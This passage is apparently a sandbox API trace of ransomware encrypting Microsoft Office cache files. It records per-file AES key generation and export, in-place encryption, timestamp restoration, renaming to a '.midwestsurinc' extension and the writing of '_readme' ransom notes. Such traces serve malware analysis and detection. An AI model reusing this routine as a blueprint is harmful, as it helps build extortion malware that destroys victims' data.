lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0087.474] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0087.474] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0087.475] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00)) returned 1 [0087.475] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0087.475] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0087.475] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0087.475] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0087.475] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0087.475] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00)) returned 1 [0087.475] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0087.475] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0087.475] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0087.475] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0087.475] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0087.475] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0087.475] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0087.475] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xee827f20, dwHighDateTime=0x1d301be)) returned 1 [0087.475] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0087.476] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0087.476] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0087.476] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0087.476] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0087.476] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0087.476] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0087.476] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0087.476] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0087.476] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0087.476] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2bba00) returned 0x1f50020 [0087.477] ReadFile (in: hFile=0x2e8, lpBuffer=0x1f50020, nNumberOfBytesToRead=0x2bba00, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesRead=0x174fb28*=0x2bba00, lpOverlapped=0x0) returned 1 [0087.561] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2bba00) returned 0x2210020 [0087.589] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1f50020) returned 1 [0087.602] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2bba00) returned 0x1f50020 [0087.602] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0087.630] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2210020) returned 1 [0087.642] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2bbe00) returned 0x2210020 [0087.670] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2210020*, pdwDataLen=0x174fb24*=0x2bba00, dwBufLen=0x2bbe00 | out: pbData=0x2210020*, pdwDataLen=0x174fb24*=0x2bba10) returned 1 [0087.694] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2bba40) returned 0x24d0020 [0087.723] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1f50020) returned 1 [0087.737] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2210020) returned 1 [0087.749] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0087.749] WriteFile (in: hFile=0x2e8, lpBuffer=0x24d0020*, nNumberOfBytesToWrite=0x2bba00, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x24d0020*, lpNumberOfBytesWritten=0x174fb28*=0x2bba00, lpOverlapped=0x0) returned 1 [0087.777] FlushFileBuffers (hFile=0x2e8) returned 1 [0087.790] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0087.790] NtClose (Handle=0x2e8) returned 0x0 [0087.838] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.midwestsurinc")) returned 1 [0087.839] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0087.839] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0087.839] GetLastError () returned 0x2 [0087.839] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf860f0, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0087.839] GetLastError () returned 0x2 [0087.839] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0087.840] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0087.840] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0087.845] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0087.845] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x1b) returned 0x184c620 [0087.845] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045730 [0087.845] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x184c620) returned 1 [0087.846] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045730) returned 1 [0087.846] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2d1) returned 0x1030560 [0087.846] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0xfe7ff0 [0087.846] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0087.846] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0x1030560 [0087.846] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0087.846] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfe7ff0) returned 1 [0087.846] WriteFile (in: hFile=0x2e8, lpBuffer=0x1030560*, nNumberOfBytesToWrite=0x2f9, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1030560*, lpNumberOfBytesWritten=0x174fb28*=0x2f9, lpOverlapped=0x0) returned 1 [0087.846] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x53a94cd0, dwHighDateTime=0x1d5dff7)) returned 1 [0087.846] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0087.846] NtClose (Handle=0x2e8) returned 0x0 [0087.847] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0087.847] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0087.847] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0087.847] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x24d0020) returned 1 [0087.860] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0087.860] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0087.860] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0087.860] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0087.860] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0087.860] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0087.860] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72)) returned 1 [0087.860] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0087.860] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0087.860] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0087.860] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0087.860] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0087.861] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0087.861] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0087.861] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72)) returned 1 [0087.861] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0087.861] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0087.861] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0087.861] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0087.861] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0087.861] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72)) returned 1 [0087.861] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0087.861] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0087.861] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0087.861] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0087.862] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0087.862] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0087.862] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0087.862] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xee827f20, dwHighDateTime=0x1d301be)) returned 1 [0087.862] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0087.862] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0087.862] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0087.862] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0087.862] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0087.862] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0087.862] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0087.862] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0087.862] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0087.863] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0087.863] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xc80) returned 0x1800818 [0087.863] ReadFile (in: hFile=0x2e8, lpBuffer=0x1800818, nNumberOfBytesToRead=0xc72, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1800818*, lpNumberOfBytesRead=0x174fb28*=0xc72, lpOverlapped=0x0) returned 1 [0087.864] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xc80) returned 0x181caa8 [0087.864] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1800818) returned 1 [0087.865] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xc80) returned 0x181d730 [0087.865] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0087.865] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x181caa8) returned 1 [0087.865] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x1080) returned 0x1800818 [0087.865] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1800818*, pdwDataLen=0x174fb24*=0xc72, dwBufLen=0x1072 | out: pbData=0x1800818*, pdwDataLen=0x174fb24*=0xc80) returned 1 [0087.865] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1800818) returned 1 [0087.865] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0087.865] WriteFile (in: hFile=0x2e8, lpBuffer=0x181d730*, nNumberOfBytesToWrite=0xc72, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x181d730*, lpNumberOfBytesWritten=0x174fb28*=0xc72, lpOverlapped=0x0) returned 1 [0087.865] FlushFileBuffers (hFile=0x2e8) returned 1 [0087.868] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0087.868] NtClose (Handle=0x2e8) returned 0x0 [0087.869] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.midwestsurinc")) returned 1 [0087.870] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0087.870] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0087.870] GetLastError () returned 0x2 [0087.870] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf86110, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0087.870] GetLastError () returned 0x2 [0087.870] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0087.870] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0087.870] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0087.871] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0087.871] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x17) returned 0x1836160 [0087.871] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045730 [0087.871] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1836160) returned 1 [0087.871] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045730) returned 1 [0087.871] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2d1) returned 0x1030560 [0087.871] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0xfe7ff0 [0087.871] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0087.871] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0x1030560 [0087.872] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0087.872] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfe7ff0) returned 1 [0087.872] WriteFile (in: hFile=0x2e8, lpBuffer=0x1030560*, nNumberOfBytesToWrite=0x2f5, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1030560*, lpNumberOfBytesWritten=0x174fb28*=0x2f5, lpOverlapped=0x0) returned 1 [0087.872] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x53ae0f90, dwHighDateTime=0x1d5dff7)) returned 1 [0087.872] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0087.872] NtClose (Handle=0x2e8) returned 0x0 [0087.873] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0087.873] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0087.873] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0087.873] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x181d730) returned 1 [0087.873] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0087.873] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0087.873] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0087.873] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0087.873] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0087.873] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0087.873] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, 